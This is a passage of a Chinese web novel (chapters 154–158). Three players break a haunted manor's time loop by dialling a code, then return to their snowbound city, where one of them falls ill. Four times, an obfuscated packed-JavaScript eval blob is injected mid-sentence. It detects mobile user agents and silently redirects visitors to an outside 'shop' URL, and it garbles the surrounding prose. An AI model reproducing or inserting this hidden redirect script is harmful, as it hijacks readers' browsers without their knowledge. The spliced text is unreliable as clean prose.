最终,警方将黄胶带封锁了庄园所有出入口,草草结案。 初与序看着那些还未挂断的电话听筒,思绪飞转。 没有人敢挂断这些电话,是出于对未知的本能恐惧,但更深层的原因是:时间在这里已经变成成平衡态,,十分脆弱,贸然挂断可能引发更可怕的连锁反应。 她忽然抬手伸向最近的那台电话,手指刚触碰到拨号盘。 “住手!”男子猛地抓住她的手腕,力道大得惊人,“如果你现在拨通电话,我们都会回到循环起点,而不是终结它!” 初与序抬眼:“我知道啊。” 男人露出惊讶的表情:“那你为什么还要……” 话音未落,初与序突然趁机用另一只手刺向他胸口! 手指穿过了他的身体,如同穿过雾气。 “果然。”初与序收回手,语气平静,“你也不是这个时间点的人。” 男人叹了口气,耸耸肩:“该走了。” “去哪里?” “当然是回去。”男人的身影开始变淡,变得透明,声音却异常清晰,“回你原来的时间去,回第一百天。” “一百天?”初与序心头一震。 男人最后的话语飘散在空气中:“你们就差最后一步了,但你们的路还很长……” 眼前画面猛地扭曲,初与序猛地睁开眼坐起身,发现自己回到了熟悉的卧室,窗外天还没有完全亮,阴沉沉的。她抬头看向墙上的挂钟,自己来到了第一百天的凌晨五点。 她推开门,大厅里很安静,只有景明垂一个人坐在壁炉边的扶手椅上,往里日落的双马尾散开,深棕色的长发如瀑垂落。她脸色惨白,听到脚步声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869309|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才侧过头。 “来了?”她见初与序环顾四周寻找江意的身影,便淡淡道,“别找了,江意不在这一天,已经死亡了。” 初与序闻言,沉默地走到她身边坐下。壁炉的火光映照下,两人相对无言。目前为止,除了那个深深刻在脑海里的数字,没有任何线索。 既然上次在五点十八分拨号能跳跃时间,那么现在再试一次呢? 她侧过头,目光落在壁炉旁边的老式电话上,伸手去够听筒,被景明垂的声音打断。 “没有用。”景明垂说道,“我也在五点十八分拨过号,跳跃到了前几天。回来后又试过了很多次,都是空号。” 初与序停住动作,抬眼看她。景明垂用手撑着下巴,深色头发垂落肩头,称得她脸色愈发苍白:“我一共穿越了大概十五次,在第一百天待了两天。从第一次穿越时间裂缝开始,没有任何线索,没有变化。” “再整理一下这段时间收集的线索吧。”初与序开口。 两人面对面坐在壁炉前,将了解到的所有线索一一摊开: 「维恩的实验——他试图通过电话网路连接不同时间点,却在9972年5月5日凌晨5:18导致全家失踪」 「时间裂缝——庄园内的时空不再线性流动,而是形成无数错乱的“褶皱”,玩家会随即跌入不同时间点。」 「数字“997255518”——维恩最后拨打的号码,也是跳跃时间的关键密码。」 「“当观察者成为被观察的一部分,时间的裂缝就会形成闭环”——进入不同时间前的提醒。」 「亡者与生者互不相通。」 「管家不说谎。」 「死亡是唯一不会被遗忘的。」 「……」 景明垂用琴弦将几张便签串起挂在壁炉前,火光将纸片照得半透明:“我们可能漏掉了最关键的一环。” 初与序看着跳动的火焰,无意识地用手指在扶手上画出一个又一个圆圈 “或许…我们弄错了前提条件?”她犹豫道,“包括思考问题的方向与思维?” 探讨再次陷入僵局,而沉默中,那道烦死人的低语不知道第几次响起: 【当观察者成为被观察的一部分,时间的裂缝就会形成闭环。】 景明垂和初与序无奈地对视一眼,明白又要分开了。 接下来的时间里,初与序在无尽的循环里穿梭。有时候来到了第二天,有时候是第二百天。有时推开门看见江冷的尸体,有时发现景明垂浑身是血地靠在墙角,有时受重伤的人变成了自己。极少数时刻三个人全部存活,却因记忆不同步,而无法有效合作。 每一次,她都试图寻找新线索,可每一次都无功而返。那些电话规则、“99725518”的数字永远不变,但还是拼凑不出完整真相。 但最令人崩溃的不是死亡,而是连死亡都无法终结的循环。即使这一天的初与序死亡,另外几天的她依旧存活,继续循环。 就像一场永远醒不来的噩梦。 155.亡铃 直到第十七次穿越。 初与序站在空荡的大厅中央,看着四周。 庄园里不是一般的安静,没有脚步声,没有电话铃声,也没有到老管家出现的时间。她找遍了每一个房间,阁楼、书房、地下室、花房等等,没有景明垂,没有江意,连尸体都没找到。 她干脆坐在楼梯上停下休息,没有人能告诉她这是第几天,没有队友,没有线索,没有声音。 又看向窗外,发现砖墙消失了,取而代之的是一片浓雾。庄园仿佛漂浮在虚无中,与整个世界割裂。 而这一次穿越,足足持续了两周。 整整十四天,每一天都像被拉长的胶片。早晨醒来时,窗外永远是灰蒙蒙的雾;餐桌上的食物一尘不变;她试过主动拨打号码,要么是空号,要么就是几十个电话鬼钻出来,开启一场大逃杀。 第一周时,初与序也考虑过江意之前的猜测——死亡可能是通关的方法。 冰冷的触感让她清醒了很多,但最终,她还是把短刀移开。 她不能赌。如果此刻的自己,是无数循环中最接近真相的那个初与序,那么她的死亡,或许会彻底断绝所有人离开的希望。 于是,她又在这个破地方待了下去。 前十三天,管家如影子般存在,却从不开口,电话偶尔响起,却只有空洞的电流声,对面的亡者从不开口。初与序像一抹游魂般穿行在庄园里,整整十三天,我没有开口说过一个字。 第十四天的黄昏。 她靠在卧室窗边,看着夕阳将庄园染成血色,身边的电话突然响起。初与序面无表情地瞥了一眼,过了几秒才慢吞吞地接起,等着它像往常一样自动挂断。 可这一次,听筒里只有沉重的呼吸声,持续了整整五分钟,还不自动挂断。 初与序终于不耐烦:“你到底要干什么?” 突然,电话那头爆发出一声怒吼: “你们不该来这里!!!” 声音嘶哑癫狂,像是压抑了许久的愤怒终于爆发,震得她耳膜发疼,初与序猛地把听筒拿远,愣了一瞬,耳边嗡嗡作响。 “是我主动想来这里的?”她随即骂回去,“你们这群亡魂,除了会说些莫名其妙的话,还能干点什么有用的?” 亡者更加愤怒地咆哮:“那你就去死啊!离开这里啊!” “我死了你就能解脱了?”初与序反唇相讥,“我看你比我还惨,死了都要打电话加班!” 电话那头传来一声非人的怒吼,紧接着,一只半透明的手突然从听筒里伸出,一把抢过电话机,狠狠砸向墙壁!塑料外壳四分五裂,零件散落一地。 初与序被烦得不行,一抬头,对上空气中逐渐凝聚成形的扭曲灵魂。 “你是不是有病?”她语气里是毫不掩饰的嫌弃。 亡者漂浮在半空里,腐烂的面容气得更加扭曲:“你、你竟敢这么对我?你把这里当成什么了?!” 初与序冷笑:“我倒想问问你们这些鬼魂,把活人困在这里算什么本事?” “活人?”亡者的声音变得讥讽,“那么我告诉你,你会永远困在这里,就像我们一样!”随着尾音落下,它的身形逐渐消散。 初与序正要追骂,一阵沉稳的敲门声突然响起。她猛地拉开门。 只见老管家立在门外,手指指向餐厅方向,示意她晚饭时间到了。 “不去了。”初与序淡淡回复,转身就打算关门。 但老管家的身躯却像一堵墙一样挡在门前,伸手扶住门框,纹丝不动,那双眼睛直直盯着她,无声地施加压力。 “……” 初与序深吸一口气,来到餐厅坐下。三份餐具整齐摆放,唯独她面前的白粥冒着热气,像是刚煮好的。 老管家见她坐下,正要转身离开,初与序忽然开口: “站住。” 下一秒,她的动作比声音更快,一把拽住老管家的衣领,将他拖到墙边的落地镜前。 镜子中,除了没有初与序的倒影,也没有管家的。 “你也没有影子?”初与序说。 老管家没有挣扎,只是缓缓抬起眼,看着镜子。就在初与序准备质问时,他突然低声开口: “生者无眼,亡者无时。” 这声音苍白却熟悉,和当初那个西装男子一模一样。 初与序立刻转头看他:“是你。” 老管家没有再开口,只是深深地看了初与序一眼,转身离开,身影消失在餐厅。 初与序独自站在大厅里,她缓步走到壁炉前,稳下心神,开始回忆所有线索。 “生者无眼”,表示活人看不见真相。在这个扭曲的庄园里,生者究竟看不见什么?是时间的错乱,是维恩实验的本质,还是更残酷的事实? “亡者无时”,表示亡魂不受时间束缚。那些电话里的声音可以出现在任何时间点,老管家能同时在多个时空现身,甚至能改变自己的年龄样貌。 在这座不断重复的庄园里,唯独只有死亡不会被遗忘。江意身上的伤,景明垂消散时的光点,甚至维恩一家的失踪,这些都与死亡相关。 管家不说谎,那么“死亡不会被遗忘”的特效在他身上体现得淋漓尽致。他记得所有时间线上的事,正是因为作为亡魂,死亡是他永恒的状态。 以及那句「亡者与生者互不相通」。亡魂与活人无法真正沟通,但电话能连接亡者与玩家,这本就违反了“不相通”的原则。而且老管家也对她说了话,不仅仅是刚才那句话,在跳跃时间时,也以西装年轻男子的身份与自己对话。 电话里的亡者能模仿玩家声音,镜子照不出倒影,甚至那些永远新鲜却又腐烂的食物……所有异常都在指向同一个方向。 这些碎片拼在一起,一个结论逐渐浮现—— 他们三人,早已是亡魂。 因为他们是亡魂,所以他们能和亡者对话,所以镜子照不出他们,所以他们才会把端上桌早已腐烂的食物,看成新鲜的。这样,一切就能说得通。 但最讽刺的是,即便推理到这个程度,初与序依然无法确认他们三人究竟是从何时开始成为亡魂的。时间裂缝吞噬了太多关键记忆,只留下循环往复的折磨。 正当她思索着死亡的具体时间点,那道久违熟悉的声音在一起从四面八方传来: 【当观察者成为被观察的一部分,时间的裂缝就会形成闭环。】 眼前景象扭曲,再睁眼时,初与序发现自己站在庄园铁门前,雾气缭绕在四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869310|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周,空气里带着露水的清甜。 她低头看了看,灰色大衣干净如新,没有血迹,没有伤疤。身旁的景明垂正打量着庄园外观,而江意则沉默地站在另一侧。 自己竟然第二次回到了第一天。 他们还是第一天的他们,对即将发生的事一切一无所知。 两人察觉到她的视线,看过来:“怎么了?” 初与序张了张嘴,刚要开口,一个念头突然闪过脑海,她僵在原地。 那个刚进入副本出现后就消失的雕像! 有没有可能,他们早在第一天就成为亡魂了,在那次对视的瞬间就已经死亡。 雕像就是维恩的执念化身,是困住所有亡魂的时间锚点。 “闭眼!”她飞快喝道,同时猛地转身。 景明垂和江意不明所以,但出于信任立刻闭上双眼,原地不动。几乎在同一秒,那座无脸雕像凭空浮现,正要与三人“对视”。 初与序已经闪到雕像背后。 她抬起腿,重重将雕像踹得摇晃,冰蓝短刀划出,狠狠刺入雕像后心! 石块崩裂,无数电话听筒的碎片从裂缝中迸出,这座雕像内部早已被密密麻麻的电话线路填满。 当雕像彻底粉碎时,所有碎块都化作了细沙,被一阵突如其来的风吹散。 景明垂和江意睁开眼时,看到的就是满地碎石和握着短刀的初与序。 “怎么回事?”江意走上前问。 “说来话长。”初与序语速飞快,“现在需要你们帮忙做一件事,信我吗?” 两人甚至没有交换眼神:“信。” “把庄园里所有挂钟调到早晨五点十八分。”她将短刀收回鞘中,“分头行动,越快越好。” 三人立刻散开,初与序负责一楼,景明垂奔向二楼,江意来到三楼。每当一座挂钟的时间被调整,窗外的天色就诡异地暗沉一分。当时钟的咔嗒声此起彼伏地响起,整个庄园的时间流速开始肉眼可见地扭曲。 当最后一台座钟的指针重合在5:18时,整个世界陷入黎明前的幽蓝。 初与序立刻冲到大厅长桌旁边,拿起了话筒,拨动了电话转盘: 9-9-7-2-5-5-5-1-8 电话接听的下一秒,刺耳的忙音炸开。三人眼前一黑,再睁眼时,已经置身于一个扭曲的镜像庄园。 四周墙壁渗出暗红液体,在天花板凝结成血珠倒流;电话线如活物般在墙缝间蠕动;远处飘来缥缈的低语:“你们终于来了…帮我结束这一切…” 系统的提示音响起: 【欢迎来到镜像世界】 初与序没有犹豫,转身就朝地下室冲去,另外两人紧随其后。 地下室内,维恩的残影跪在中央,机械地重复着拨号动作。他的手指早已血肉模糊,却仍固执着转动着那台电话的拨盘。 “997…255…518…”他嘶哑地念叨着,对逼近的危险浑然不觉。 无数黑影从墙壁渗出,化作执念化成的仆从,扑向三人。初与序头也不回地喊道:“拖住他们!” 景明垂控制琴弦绞碎最先扑来的黑影,江意则用重力场将另一批压成粉末。而初与序已经冲到维恩身边,寻找解决办法。 156.亡铃(完) 初与序冲到维恩身边,伸手就要挂断电话,维恩的残影却突然暴怒。 “不准挂断……时间会断裂!” 他的形态立刻变成实体,抓向初与序咽喉。初与序反应很快,侧身闪开后立刻挥刀,刀锋擦过对方手腕,却只穿过一层虚无,激起一阵扭曲的波纹。 初与序一边周旋一边飞快思考:维恩当年失败的原因,是拨错了号码。他试图联系未来的自己,却阴差阳错误入了亡者的领域,将庄园拖入时间裂缝。而此刻,他仍在重复这个错误。 那么终结循环的方法,恰恰是逆转这个错误。 她一脚踹开维恩残影,夺过那台电话,在维恩再次攻击前,手指毫不犹豫地按下“9”键(象征终结),又将话筒倒转过来(象征逆转时间流向),最后将倒转的话筒狠狠按回,挂断电话(彻底切断循环锁链)。 维恩的残影发出一声凄厉的惨叫,身体炸裂开来。 整个电话世界随即开始崩塌,墙壁扭曲变形,剥落的墙皮下露出密密麻麻的电话线路。地板塌陷成黑洞,无数苍白的手臂从中伸出。天花板垂落下一串串电话听筒,每个听筒里都传来亡者的哭嚎。 那台老式转盘电话突然自动运作起来,转盘疯狂运转,但每次接通后都只有刺耳的忙音。 【循环已终结。】 【主线任务更新:亡者开始暴走,需要重组“997255518”,找到正确号码,反向打通生者通道。】 【警告:玩家不能长时间停留,必须保持移动。】 四面八方,无数亡者从墙壁渗出、从地板爬出,甚至从电话听筒里钻出,它们的身体相互纠缠,形成一堵不断逼近的“人墙”。每当有亡者触碰到三人的衣角,接触部位就会透明化,开始“同化”。 江意展开重力场,把左侧涌来的亡者压成肉泥。初与序持刀,将最近的三个亡魂拦腰斩断。 景明垂趁机来到那台电话前,飞快转动拨盘。没有提示,没有规律,只能尝试所有可能的数字组合: 959275518,是忙音。592755819,是亡者的尖叫;255518997,电话机渗出鲜血。 每一次错误尝试,亡者的数量就增加一分。 “试试815552799!”江意在一片混乱中朝景明垂喊道。 景明垂飞快拨动转盘,电话刚接通,那头就传来暴怒的咆哮:“别给我打了!别给我打了!!你们他妈的一群……” “闭嘴吧你!”景明垂没等它骂完就吼了回去,抬手就要挂断拨打下一个。 初与序一记侧踢踢翻一位亡者,顺手抢过听筒,对着话筒骂:“吼什么吼?” 她砸下话筒,电话机震得跳了起来。亡者似乎被骂懵了,连带着周围扑来的亡者都停住动作看向景明垂和初与序。初与序趁机甩出短刀,短刀擦过两个亡者咽喉,带飞一串血线。 场面一片混乱,亡者蠕动,电话机渗血,地板塌陷,而景明垂还在争分夺秒地尝试着数字组合,她的五指开始渗血,鲜血顺着拨盘滴落。 【倒计时:10:00】 【09:59】 【09:58】 景明垂猛地停住动作,思考了两秒,转头朝初与序道:“你熟悉这串数字吗?” 初与序躲开亡者的扑咬,短刀横扫斩断三只鬼手,回答道:“熟悉!” “那么只有你能在短时间内感知正确的组合!”景明垂用琴弦绞碎一只试图扑向电话机的亡者,“凭直觉说一个,什么都可以!” 初与序一分神,刚要开口,一只青灰色的鬼手突然从墙壁裂缝中伸出,狠狠掐住她的喉咙将她提起至半空! “咳咳……”她的话强行咽了回去,短刀当啷落地。 江意立刻控制重力场轰然压下,将那只亡者碾进地板。初与序跌落在地,喘着气,在无数亡者逼近的阴影中抬头道:“185559972!” 景明垂立刻转身,飞快转动拨盘。当最后一个数字拨完的下一秒,电话那头传来久违的、真实世界的风声。 树叶的沙沙声,鸟鸣,甚至远处汽车的引擎。 世界在刹那间陷入绝对的寂静,随后,晨光穿透薄雾,三人重新站在了庄园铁门前。鸟鸣声清脆地划过耳畔,微风带着青草气息拂过脸颊。 【欢迎回到生者世界。】 景明垂和江意同时对视一眼,所有时间线上的记忆此刻全部恢复,他们终于弄清了刚刚初与序举动的原因。 “我们后来几次穿越都没有见到你。”景明垂看向初与序,“你…去了哪里?” 初与序怔在原地,她突然意识到,从第十七次穿越开始,所有时间线上的“初与序”都坍缩成了唯一的她,独自在空荡庄园里度过两周的她。 如果当时她选择了相信“死亡是唯一解”,如果她将刀划下,那么景明垂和江意就真的失去了通关副本的机会。 她第一次庆幸自己没有死亡。 “没去哪里。”她耸耸肩,朝景明垂笑了一下。 阳光终于彻底驱散了庄园上空的阴霾,铁门和整座庄园在他们面前缓缓腐朽,化作尘埃消散在风中。 【恭喜各位玩家通关《亡铃》】 【9972年,维恩霍华德因痴迷时间实验,意外将庄园变成了连接亡者世界的裂缝,导致无数亡魂被困在时间循环中。所有进入者都会在死亡瞬间陷入无限循环,而亡者的声音则被困在电话线中,永世不得解脱。】 【如今,亡者们全部回归应有的安息之地。维恩一家重现人间,而维恩也因非法实验罪名被逮捕,受到了应有的惩罚。庄园恢复正常时间流速,成为普通建筑。】 【本次副本奖励已发放到各位玩家面板,可打开查看。】 【时间已归位,生者勿回头。】 就在系统落下后,那个脾气暴躁的亡者突然从一边飘出,兴高采烈地手舞足蹈:“老子终于自由啦!再也不用接那些该死的电话了!” 结果他一抬头,就看见初与序三人,立刻像被踩了尾巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870958|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的猫一样炸毛:“Fuck!怎么又是你们这几个烦人精?” “……”江意冷笑一声,“看来某些人就算死了,也改不了嘴欠的毛病。要不要我把你塞回电话里,让你继续当你的复读机?” “你!”亡者气得浑身冒黑烟,“你谁的?知道老子生前是谁吗就敢这么说话?” “知道啊,说的就是你。”江意面无表情点头,“不就是那个被挂了电话就气急败坏,现在还要靠活人才能解脱的loser吗?” 亡者气得直跳脚,正要发作,景明垂慢悠悠地补充:“省省吧,就你这骂人水平,连我们队伍的初与序都说不过。” 初与序:“……” 算了,自己好像确实是最不会骂人的。 老管家亡魂不知何时飘了过来,看戏看得津津有味,最后才慢悠悠道:“是他们三个活人终结了循环。” 亡者瞬间闭上嘴,盯着三人看了看,又张了张嘴,脸涨得通红(虽然鬼本来就没有血色),最后只能憋出一声:“哼!算你们走运!” 转身要走时还不忘回头瞪初与序一眼,结果被初与序一个白眼翻了回去。它只能骂骂咧咧地化作青烟消散,嘴里还嘀咕着:“这个队伍里的人怎么都一个比一个毒舌……” 老管家看着三人,难得露出慈祥的微笑:“祝你们下次别再来这么危险的地方了。”顿了顿又补充,“不过你们要是再来,我估计那些亡者得集体申请调岗。” 初与序轻轻笑道:“不来了。” D019次列车静静停在不远处,三人登上车厢时,J23正倚在门边。 “还活着呢?”她挑起眉毛,卷曲的发梢随着她的摇头动作轻轻晃动,“你们可是在副本里待了整整十八天,随歌和冬逢初快急死了,好多玩家都以为你们死了。” “哦对了,屠宰场都快开庆祝会了,不过被随歌,回北和向枝冥搅黄了,现在这三人搁处罚区禁足呢。” 江意闻言,无奈地叹了口气:“我们没死,让屠宰场失望了。” 初与序则在思考“十八天”,她眼中闪过一丝诧异。在那些无尽循环中,时间早已失去了意义,她有想过是很多天,也有想过是一天,但唯独没想过是十八天。 “行了,回永冬之城吧。”J23回到座位上。 列车缓缓启动,初与序靠在车窗边,打开系统面板,《亡铃》通关奖励缓缓展开: 【本次副本奖励:四十三积分。获得“亡音之音”(可与任意时空的亡者对话一次,持续时间不限)。】 她取出“亡音之音”,那是一个圆形玻璃球,车厢顶灯在它表面折射出流动的银蓝色光晕,像是一团被禁锢的极光。 列车穿过隧道,玻璃球在忽明忽暗的光线中出现奇异的光斑。初与序突然想到了什么,将球体对准窗外。 庄园最后的残影在球体中浮现,隐约可见无数半透明的身影站在荒芜的花园里,朝着正方向微微颔首。 光影消散,初与序把玻璃球重新放回了面板。 157.一些事 列车缓缓停在永冬之城站台熟悉的位置,站台上弥漫着稀薄的雾气,零星的玩家或站或坐,在看清车的身影时纷纷露出错愕的神色。 “操,他们居然活着出来了?”有人压低声音咒骂。 冬逢初靠在站台立柱旁边,冰蓝长剑为了防身,挂在腰间。见三人出来,他很明显地松了口气。火腿面包从他大衣口袋里探出头,尖叫着冲出去:“我就说你们死不了!” 初与序弯腰接住扑来的面包,朝冬逢初露出笑容,示意他们没事。 站台另一端突然传来玻璃碎裂声,几个屠宰场常见玩家摔了酒瓶,面色阴沉地挤出人群。江意冷冷扫过去一眼,那些人立刻跑走,远离站台。 不远处,齐无尽正和一名执行官交谈,红发在苍白的环境中格外醒目。他余光瞥见江意,抬手示意执行官稍等,朝江意偏了偏头。江意会意,走到齐无尽身边。 “我们先回D栋吧。”初与序看了他们俩一眼,转身往D栋方向走。 寒风卷着细雪穿过D区,三人刚转过拐角,就听见一阵混乱的脚步声,以及听上去很命苦的咒骂声: “五分钟前的我就不该和你们一起遛蜘蛛!!!” “龙傲天!You fucking stop(你他妈站住)!I shouldn''t fucking help 向枝冥 walk the spider(我他妈就不该帮向枝冥遛蜘蛛)!” “……向枝冥为什么非要养一只蜘蛛?” 只见白闽、u谷和赵禾正在溜蜘蛛…不对,是被蜘蛛遛,在雪地狂奔。初与序只看见一个黑漆漆的小影子,朝自己这边蹿来。 “救命啊!这蜘蛛长得好丑!”火腿面包吓得钻进初与序口袋里,初与序侧身一让。 只听“砰!”一声,三人一蜘蛛摔成一团。 “……”初与序沉默地看着倒地的三人,发现自从向枝冥养了龙傲天,整个D栋就没有一天是安静的。 那蜘蛛跑得已经不见踪影了。 白闽第一个爬起来,麻花辫都散了。她拍了拍衣服上的雪,朝三人笑道:“你们可算回来了!屠宰场那群傻逼还以为你们死透了!” 初与序挑眉:“听说他们开了派对?” “哎呦喂,那可精彩了!”白闽瞬间来劲,手舞足蹈,“屠宰场偷偷摸摸邀请,特意避开你们队和回北队的人。结果好死不死,A区茶馆那个热心老板撞见了,转头就告诉了随歌!” 火腿面包蹦到白闽肩上补充:“随歌当时正和回北、向枝冥在训练场呢,一听这话……” “抄起钢管就杀过去了!”白闽一巴掌拍在墙上,“三个人冲进屠宰场大本营,见东西就砸见人就揍!你们是没看见那场面,随歌抡着钢管砸酒柜,向枝冥给活人念往生咒,回北更绝,直接把人家的香槟塔当水枪玩儿!” 景明垂:“……几百号人拦不住?” “哪敢真拦啊?”白闽翻了个白眼,“他们三那个战斗力,当时在场的怂包们根本打不过,光挨揍不敢还手!齐无尽得知事情,硬生生拖了两小时,最后才带着执行官来镇压。” 她压低声音:“结果你们猜怎么着?屠宰场在场的人全部被丢进S级处罚副本了,随歌他们仨就禁足两周。” 没想到齐无尽会选择站在他们这边而不是屠宰场那方。 初与序抬头看向冬逢初:“当时你在哪里?” 冬逢初低头和她对视,老老实实地回答:“我本来打算一起上的,但回北不让,说我不能进处罚区,还要在永冬之城等你们回来。所以我只能在旁边加油,帮忙打掩护。” 初与序:“……” 她最终选择走向D栋,决定结束这个荒谬的对话然后回家补觉。 1802的暖气开得很足,一走进屋内,身上的寒意消失无踪。她脱下沾满灰尘和雪粒的大衣,丢进洗衣机内,机器启动,开始嗡鸣。 “吃过了吗?”她随口问火腿面包。 “吃啦!”火腿面包蹦到茶几上,得意地晃了晃腿(火腿粒),“去冬逢初家蹭饭了,他做了红烧排骨!我还帮你打包了一份放在冰箱,要不要热一下?” 初与序摇摇头:“谢谢,但不用,我先睡觉去了。” 她走进浴室,打开水龙头,热水很快蒸腾起雾气。 镜面被水雾模糊,初与序伸手抹开。 热气中,镜中的她脸庞依旧清瘦,但比刚来永冬之城时那种病态的苍白,现在总算有了些血色。湿漉漉的黑发垂下,水珠顺着锁骨滑下。她下意识摸了下胳膊,前段时间冬逢初天天投喂,景明垂也时不时往她家塞各种零食,确实让她长了些。 初与序将目光移到脖颈右侧,那道伤疤比上次看时更深了,像一条细细的红线,蜿蜒在颈动脉附近,在苍白的皮肤上。 她微微偏头,冰凉的指尖触碰那道痕迹。虽然已经变得明显一点,但并没有记忆碎片中看到的程度。那个穿着病号服的“初与序”……或者称之为“初一”,她的脖颈上的疤痕触目惊心。 初与序收回目光,关掉花洒,扯过睡衣穿上,回到卧室闷头就睡。 火腿面包坐在沙发上咔嚓咔嚓啃着薯片,探头看了眼紧闭的卧室门,嘀咕:“这到底是有多久没睡了?”嘀咕完又继续咔嚓咔嚓啃薯片。 庄园的小厅内,壁炉里的火焰燃烧,一盏暗蓝色的壁灯投下冷光。窗外是雪原永不停止的飘雪,室内却温暖安静。 初一懒洋洋地窝在单人沙发上,病号服袖口卷到手肘,露出一截布满旧伤痕的手腕。她手里夹着一支烟,但没点燃。 身后的门被推开,身穿纯蓝制服的管理员走进,手里捏着一份薄薄的档案。 “初一?”他探头走过来,“原来你这儿,我还以为你在宫殿,或者在阁楼。” 初一头也不抬:“怎么,我不能来这儿?” “哪不能啊。”管理员走到她对面的扶手椅坐下,“不过真罕见啊,你平时可不喜欢往人多的地方钻,今天怎么来管理员庄园了?” 初一抬眼看他,漫不经心地笑:“我上周趁妄主不在,干了点事儿。妄主还有一天回来,我来你们这躲躲。” 管理员了然地点点头,顺手给自己倒了杯茶:“就你上周下永冬之城的事?听说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870959|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你还光明正大杀了屠宰场七八个人,闹得挺大,影响到初与序了,就不怕妄主罚你?” “怕啊,怎么不怕。”初一将烟放回烟盒,“几个月前那个谁擅自下永冬之城,把初与序给向枝冥的令牌抢了过来,被罚得那么重。妄主发火的样子你又不是没见过,不过那是在好几千年前了。” 管理员挑眉,等待她下文。 初一歪了歪头,笑意未达眼底:“而且屠宰场那些人本来就该死,我这算为民除害,应该给我颁奖。” “你倒是看得开。”管理员将手里的档案推到初一面前,“我看执行官给的资料,上面说初与序已经知道你名字了。” “哦?”初一散漫道,“她什么反应?” 管理员道:“没什么反应,从副本出来后倒头补觉去了,现在还没醒,可能发烧了?” “发烧?身体还是不好。”初一耸耸肩,“知道就知道,她迟早会发现的。” 管理员闻言,无奈地摇摇头:“你的性格和初与序真的一点都不一样。” 初一嗤笑一声,重新靠回沙发,长腿随意地搭在茶几边缘:“我要是跟她一样,那才叫可怕。” 管理员瞥了她一眼,似是想说什么,最终只是叹了口气:“你打算在庄园待多久?” “看心情。”初一闭上眼,声音懒洋洋的,“等妄主消气了,或者等我觉得无聊了。” “祂要是直接找上门呢?” 初一睁开左眼,冲他笑了笑:“那挺刺激的。”她又想了想,“不过按照祂的性格,不可能找上门来,除非太阳打西边出来了。” 管理员最终举起茶杯,像是投降:“行吧,你开心就好。” 初一没再回答,只是重新闭上眼,手指轻轻敲着沙发扶手。 永冬之城D栋1802,客厅的钟表跳转到23:00,火腿面包在沙发上翻了个身,看电视看到一半,突然意识到卧室方向始终没有动静。一般这个时候,初与序都会醒来。 它竖起“耳朵”听了听,初与序的房间没有一点动静。 “初与序?”它蹦到卧室门前,轻轻推开门缝。 昏暗的房间里,初与序蒙在被子里,隐约能听见不均匀的呼吸声。火腿面包跳上窗沿,用边角小心翼翼地掀开被角。只见初与序蜷缩在床中央,苍白的脸颊泛着不正常的红。 !!!!!! 面包贴上她的额头,果然感受到一片滚烫。它立刻弹起来,冲出房门,转身“咚咚咚”猛敲景明垂的家门。 在敲到第三声时,它又突然想起来,这个时候景明垂都和赵禾在训练场,不在家。 “完蛋完蛋……”它在原地转了两圈,又冲向电梯。 1703室。 冬逢初正窝在沙发里惊心胆战地看恐怖片,屏幕上的鬼刚露出血瞳,门外突然传来撕心裂肺的尖叫和砸门声。 “我靠!”他被吓了一跳,第一次骂脏话。剑都拔出来了,开门却看见火腿面包疯狂地挥舞着手,“冬逢初冬逢初!初与序好像发低烧了!” 冬逢初反手关掉电视,拿起火腿面包揣怀里就往十八楼跑。 158.栽赃陷害 冬逢初来到1802,单膝跪在初与序床边,掌心贴上初与序的额头,微烫,但幸好还不算严重。他松了口气,转头对火腿面包低声说:“还好,是低烧。我带她去医院……” 话没说完,初与序却突然在昏沉中抓住了他的袖口。 “……不去医院。”她声音沙哑,眼睛都没睁开,手指却攥得很紧。 冬逢初愣住,转头和火腿面包对视一眼。火腿面包用边角比了个叉,小声嘀咕:“景明垂之前说过她身体不好,估计经常去医院,所以讨厌吧……?” 沉默几秒后,冬逢初低头看看初与序烧得泛红的脸颊,最终叹了口气:“……好,我们不去。” 